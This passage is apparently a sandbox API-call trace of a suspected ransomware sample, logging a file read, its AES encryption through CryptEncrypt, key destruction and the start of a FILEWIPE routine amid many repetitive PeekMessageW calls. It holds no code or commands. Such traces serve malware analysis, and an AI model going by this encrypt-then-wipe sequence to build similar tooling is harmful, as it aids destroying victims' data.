wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.584] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.584] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.584] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.586] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.586] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xb812, lpOverlapped=0x0) returned 1 [0029.587] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.589] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.589] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.589] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.589] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.590] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.590] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.590] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.590] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.591] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.591] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.591] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.591] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.591] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064a70, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a70*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.591] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.591] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.591] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.591] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.591] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.591] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.591] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.592] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.592] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.592] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.592] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.592] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.592] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.592] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.592] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.592] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.592] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.592] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.592] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.592] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.592] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.592] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.592] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.592] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.592] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.592] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xb812, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xb820) returned 1 [0029.593] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.593] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.593] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.593] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.593] CharLowerBuffW (in: lpsz="byte[47137]", cchLength=0xb | out: lpsz="byte[47137]") returned 0xb [0029.593] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.593] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.593] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.593] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.593] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.594] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f439c890*, pdwDataLen=0xe8f3dfdf68*=0xb812, dwBufLen=0xb820 | out: pbData=0xe8f439c890*, pdwDataLen=0xe8f3dfdf68*=0xb820) returned 1 [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.594] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.594] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.594] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.594] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.595] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.595] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.595] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.596] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.596] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.596] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.596] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.596] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.596] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.596] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.596] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0029.596] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.597] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.597] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.597] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.597] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.597] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.597] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.597] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.597] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.597] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.597] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.597] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.597] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.597] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.597] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.597] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.597] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.598] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.598] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.598] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.598] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.598] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.598] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.598] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.598] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.598] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.598] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.598] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.598] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0029.598] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.598] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.598] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.598] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.598] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.598] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.599] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.599] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.600] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.600] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.600] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.600] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.600] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.600] CharLowerBuffW (in: lpsz="byte[47122]", cchLength=0xb | out: lpsz="byte[47122]") returned 0xb [0029.601] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.601] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.601] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.601] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.602] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.602] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, 